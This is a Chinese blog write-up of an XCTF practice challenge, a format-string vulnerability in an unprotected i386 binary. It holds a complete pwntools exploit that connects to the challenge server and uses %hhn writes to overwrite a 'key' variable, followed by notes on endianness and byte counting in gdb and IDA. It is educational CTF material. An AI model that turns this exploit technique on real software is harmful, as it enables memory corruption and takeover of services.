

# xctf 实时数据监测

原创

vage\_table 于 2021-10-14 18:32:04 发布 1540 收藏

分类专栏: [xctf](#) 文章标签: [python](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/vage\\_table/article/details/120769875](https://blog.csdn.net/vage_table/article/details/120769875)

版权



[xctf 专栏收录该内容](#)

3 篇文章 0 订阅

订阅专栏

练习记录

一道简单的格式化字符串漏洞题目, 题目所有的保护都没有开。easy, 但是还是花了我好久来复习, 毕竟时间长了, 格式化字符串的学习都快忘记了。

```
pass.py (~/Desktop/1) - gedit
Open Save
from pwn import *
context(log_level='debug',os='linux',arch='i386')
#offset=12
#p=process('./pwn')
p=remote('111.200.241.244',57411)
target_addr=0x804a048
#gdb.attach(p,'b *0x080484B2')
padding1='a'*13
#pause()
padding2='a'*17
payload='aa%15$hhnaaa'+p32(target_addr+3)+p32(target_addr+2)+p32(target_addr)+p32(target_addr+1)
+padding1+'%16$hhn'+'%17$hhn'+padding2+'%18$hhn'
#print payload

p.sendline(payload)
p.interactive()

Python Tab Width: 8 Lit 14, Col 20 CSDN@vage_table INS
```

总结:

- 1、用gdb来查看的偏移地址中, 左边的是低地址的内容, 右边是高地址的内容。

```
pwndbg> x /wx 0x804a048
0x804a048 <key>: 0x02223322
pwndbg>
```

再后面的22就是0x804a048地址中的内容，而02就是0x804a04b地址中的内容了。

2、ida中反汇编出来的数值和gdb中看到的是一样的。都是小端序排列的数据。

```
0x80484e8 <locker+50> mov     eax, dword ptr [ke
- 0x80484ef <locker+61> cmp     eax, 0x2223322
0x80484f4 <locker+66> jne    locker+86
```

3、存入地址中是以十六进制存储的，所以22代表前面输出过34个字节的数据了